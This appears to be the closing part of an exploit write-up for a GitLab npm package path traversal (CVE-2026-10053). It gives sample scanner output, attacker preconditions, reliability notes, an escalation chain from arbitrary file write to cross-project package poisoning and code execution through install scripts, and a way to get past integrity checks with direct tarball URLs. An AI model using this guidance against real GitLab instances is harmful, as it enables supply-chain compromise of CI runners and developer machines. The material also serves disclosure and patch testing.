============================================================#Expected output (patched instance)
[STEP 5] Downloading the package back to see which bytes are on disk
--- SERVER RESPONSE ---
GET http://gitlab.corp.com/.../pkg-xxx-1.0.0.tgz -> HTTP 200 after 60s,
sha256 [original] (expected [injected])
---
============================================================
RESULT : FAILURE
EVIDENCE: the stored file was not replaced - the target re-validates the path
============================================================Exit code 0 on success, 1 on failure. In batch mode (--list), scans multiple targets concurrently and returns 0 if any target is exploitable.
#Exploitation notes
#Preconditions
- The attacker needs any authentication method that permits npm package publication (personal access token, deploy token, or CI job token with package write scope).
- The attacker needs Developer role or above on at least one project, or a token scoped to package operations.
- The target instance must store package files on the local filesystem (the default). Instances using object storage (S3, Google Cloud Storage, Azure) are not affected.
#Reliability and constraints
- The path traversal itself is 100% reliable given the preconditions. The write happens asynchronously in a background job, so the HTTP response is not a success indicator - both vulnerable and patched instances return HTTP 200.
- The key distinction is whether the file is actually overwritten, which the exploit confirms by fetching the written bytes back over the network.
- The final path component is always forced to
-<semver>.tgzby the filename generation, which prevents direct writes to execution targets likeauthorized_keys, git hooks, or cron entries.
#Impact chain
- Arbitrary file write - Write attacker-controlled bytes to any absolute filesystem path (Rung 1-2)
- Cross-project package poisoning - Replace legitimate npm packages with malicious ones in projects the attacker cannot directly access (Rung 3, CVSS S:C scope change)
- Remote code execution - Packages with
preinstallorpostinstallscripts execute on any machine that installs the package, including CI runners and developer workstations (Rung 4)
#Chaining and escalation
- Registry-resolved installs (
npm install package-name) fail closed with an integrity check failure because the package metadata's SHA1 hash is not updated by the traversal. - Direct tarball URL installs (
npm install <url>) bypass the registry metadata and execute the poisoned scripts without validation. - CI/CD pipelines that fetch packages via tarball URLs, Docker build steps with npm installs, and developer machines pulling the poisoned package all become attack vectors.
#References
- CVE: CVE-2026-10053
- Vendor advisory: GitLab Security Release 19.2.2
- Fix commit:
54248359on gitlab.com/gitlab-org/gitlab (security branch:security-npm-archive-path-traversal-store-check-19-0) - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-10053
